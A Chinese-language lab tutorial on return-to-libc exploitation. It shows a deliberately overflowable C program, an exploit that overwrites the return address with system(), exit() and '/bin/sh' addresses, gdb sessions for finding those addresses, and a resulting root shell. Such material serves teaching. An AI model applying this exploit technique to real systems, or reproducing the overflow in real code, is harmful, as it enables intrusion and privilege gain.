0x01 环境
OS:Debian GNU/Linux 3.1
gcc:gcc version 3.3.5 (Debian 1:3.3.5-13)
gdb:GNU gdb (GDB) 7.4
使用这个方法,在ubuntu12.04上同样测试成功了。
0x02 源码
myretlib.c:存在栈溢出漏洞的程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int bof(FILE *badfile){
char buffer[12];
fread(buffer,sizeof(char),40,badfile);
return 1;
}
int main(int argc, char **argv){
FILE *badfile;
badfile=fopen("badfile","r");
bof(badfile);
printf("returned properly\n");
fclose(badfile);
return 1;
}
exploit.c:漏洞利用程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
char buf[40];
FILE *badfile;
badfile=fopen("badfile","w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
*(long *) &buf[36] = 0xbfffff7e;//0x4013b53b; /*用以保存//bin//sh 的相关地址*/
*(long *) &buf[32] = 0x40046a80; /*用以保存//bin//sh 的相关地址*/
*(long *) &buf[28] = 0x4005b790; /*用以保存system函数的相关地址*/
*(long *) &buf[40] = 0x40046a80; /*用以保存exit函数的相关地址*/
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
test.c:获取/bin/sh地址的程序
#include <stdio.h>
#include <stdlib.h>
void main()
{
return;
}
0x03 返回libc利用的步骤
-
找到/bin/sh的
两种方法:
一种方法是设置环境变量:通过环境变量设置/bin/sh
export BIN_SH=/bin/sh
get_env.c
#include <stdio.h> #include <stdlib.h> void main() { char * shell = getenv("BIN_SH"); if(shell) printf("%x\n", (unsigned int)shell); return; } debian:/home/yerx/ret-to-lib# ./get_env bfffff80
注意:这个并不是漏洞利用程序中/bin/sh的地址,这个后面会说。现在只需要记下这个地址。
-
找到libc中system()函数,exit()函数的起始地址
debian:/home/yerx/ret-to-lib# gdb -q ./test Reading symbols from /home/yerx/ret-to-lib/test...done. (gdb) disassemble No frame selected. (gdb) disassemble main Dump of assembler code for function main: 0x08048354 <+0>: push %ebp 0x08048355 <+1>: mov %esp,%ebp 0x08048357 <+3>: sub $0x8,%esp 0x0804835a <+6>: and $0xfffffff0,%esp 0x0804835d <+9>: mov $0x0,%eax 0x08048362 <+14>: sub %eax,%esp 0x08048364 <+16>: leave 0x08048365 <+17>: ret End of assembler dump. (gdb) b main Breakpoint 1 at 0x8048364: file test.c, line 7. (gdb) p system No symbol "system" in current context. (gdb) r Starting program: /home/yerx/ret-to-lib/test Breakpoint 1, main () at test.c:7 7 } (gdb) p system $1 = {<text variable, no debug info>} 0x4005b790 <system> (gdb) p exit $2 = {<text variable, no debug info>} 0x40046a80 <exit> (gdb)
-
修改exploit.c程序中的地址
*(long *) &buf[36] = 0xbfffff7e;//0x4013b53b; /*用以保存//bin//sh 的相关地址*/ *(long *) &buf[32] = 0x40046a80; //exit地址 *(long *) &buf[28] = 0x4005b790; /*用以保存system函数的相关地址*/ *(long *) &buf[40] = 0x40046a80; /*用以保存exit函数的相关地址*/
这里需要就这几个地址做一下说明buf[28],这个是myretlib.c程序,调用call bof指令之后,保存返回指令的地址。
结合gdb调试信息看一下:
debian:/home/yerx/ret-to-lib# gdb -q ./myretlib Reading symbols from /home/yerx/ret-to-lib/myretlib...done. (gdb) disassemble main Dump of assembler code for function main: 0x08048473 <+0>: push %ebp 0x08048474 <+1>: mov %esp,%ebp 0x08048476 <+3>: sub $0x18,%esp 0x08048479 <+6>: and $0xfffffff0,%esp 0x0804847c <+9>: mov $0x0,%eax 0x08048481 <+14>: sub %eax,%esp 0x08048483 <+16>: movl $0x80485e4,0x4(%esp) 0x0804848b <+24>: movl $0x80485e6,(%esp) 0x08048492 <+31>: call 0x8048368 <fopen@plt> 0x08048497 <+36>: mov %eax,-0x4(%ebp) 0x0804849a <+39>: mov -0x4(%ebp),%eax 0x0804849d <+42>: mov %eax,(%esp) 0x080484a0 <+45>: call 0x8048444 <bof> 0x080484a5 <+50>: movl $0x80485ee,(%esp) 0x080484ac <+57>: call 0x8048348 <printf@plt> 0x080484b1 <+62>: mov -0x4(%ebp),%eax 0x080484b4 <+65>: mov %eax,(%esp) 0x080484b7 <+68>: call 0x8048358 <fclose@plt> 0x080484bc <+73>: mov $0x1,%eax 0x080484c1 <+78>: leave 0x080484c2 <+79>: ret End of assembler dump. (gdb) b *0x080484a0 Breakpoint 1 at 0x80484a0 (gdb) r Starting program: /home/yerx/ret-to-lib/myretlib Breakpoint 1, 0x080484a0 in main () (gdb) i r esp esp 0xbffffd20 0xbffffd20 (gdb) i r ebp ebp 0xbffffd38 0xbffffd38 (gdb) disassemble bof Dump of assembler code for function bof: 0x08048444 <+0>: push %ebp 0x08048445 <+1>: mov %esp,%ebp 0x08048447 <+3>: sub $0x28,%esp 0x0804844a <+6>: mov 0x8(%ebp),%eax 0x0804844d <+9>: mov %eax,0xc(%esp) 0x08048451 <+13>: movl $0x28,0x8(%esp) 0x08048459 <+21>: movl $0x1,0x4(%esp) 0x08048461 <+29>: lea -0x18(%ebp),%eax 0x08048464 <+32>: mov %eax,(%esp) 0x08048467 <+35>: call 0x8048328 <fread@plt> 0x0804846c <+40>: mov $0x1,%eax 0x08048471 <+45>: leave 0x08048472 <+46>: ret End of assembler dump.
在disass bof中,esp,esp+0x4,esp+0x8,esp+0xc已经用于保存参数,总共分配了0x28个字节的空间(40),使用了0xc个字节(12),还剩28个字节是局部变量buffer的。所以当28个字节之后就是
call 0x8048444 <bof>
,后面一条指令的地址0x080484a5
.0x0804844d <+9>: mov %eax,0xc(%esp) 0x08048451 <+13>: movl $0x28,0x8(%esp) 0x08048459 <+21>: movl $0x1,0x4(%esp) 0x08048461 <+29>: lea -0x18(%ebp),%eax 0x08048464 <+32>: mov %eax,(%esp)
查看一下esp+40的地址是否如描述的一致。
(gdb) x/20x 0xbffffd1c 0xbffffd1c: **0x080484a5** 0x08049768 0x080485e4 0xbffffd94 0xbffffd2c: 0x4014a8c0 0x40016540 0x08049768 0xbffffd68 0xbffffd3c: 0x40030e36 0x00000001 0xbffffd94 0xbffffd9c 0xbffffd4c: 0x08048380 0x00000000 0x4000bcd0 0x4014bdb4 0xbffffd5c: 0x40016ca0 0x00000001 0x08048380 0x00000000 (gdb)
如上现实,确实是一直的。
所以我们在buf[28]处填充system起始指令地址,然后我们知道函数栈帧的布局是如下所示
如果要取得函数参数,就是要上移8个字节,所以buf[36]应该就是/bin/sh的地址。返回地址应该就是我们exit函数的地址,所以这里就应该保存在buf[32]。(最后一个buf[40],是看网上很多例子这样写,其实是有问题的,在这里可以去掉。)
这里还要注意的是
*(long *) &buf[36] = 0xbfffff7e;//0x4013b53b; /*用以保存//bin//sh 的相关地址*/
这里的/bin/sh地址并不是我们前面获取的0xbfffff80,这是因为,如果使用这个地址,将会出现
debian:/home/yerx/ret-to-lib# ./myretlib sh: line 1: in/sh: 没有那个文件或目录 段错误
通过提示可以看到/bin/sh,少了/b这两个字节,所以这里我们迁移两个字节就是0xbfffff7e,这样就是正确的/bin/sh字符串了。
设置好了/bin/sh, system, exit的地址之后,就可以利用这个漏洞了
-
执行
debian:/home/yerx/ret-to-lib# gcc exploit.c -o exploit debian:/home/yerx/ret-to-lib# ./exploit debian:/home/yerx/ret-to-lib# gcc myretlib.c -o myretlib debian:/home/yerx/ret-to-lib# ./myretlib sh-2.05b# exit exit
成功调用/bin/sh,并正常退出了,若果使用网上设置buf[40]的方法,则无法正常退出,会出现段错误提示。
-
第二种找/bin/sh的方法,使用test程序找/bin/sh
debian:/home/yerx/ret-to-lib# gdb -q ./test Reading symbols from /home/yerx/ret-to-lib/test...done. (gdb) b main Breakpoint 1 at 0x8048364: file test.c, line 7. (gdb) r Starting program: /home/yerx/ret-to-lib/test Breakpoint 1, main () at test.c:7 7 } (gdb) p __libc_start_main $1 = {<text variable, no debug info>} 0x40030d70 <__libc_start_main> (gdb) find 0x40030d70,+1000000,"/bin/sh" Pattern not found. (gdb) find 0x40030d70,+2000000,"/bin/sh" 0x4013b53b warning: Unable to access target memory at 0x4014af43, halting search. 1 pattern found. (gdb)
可以看到
find 0x40030d70,+2000000,"/bin/sh"
这个范围找到了/bin/sh,地址是0x4013b53b,这个地址可以直接赋值给buf[36]。执行的结果是一致的。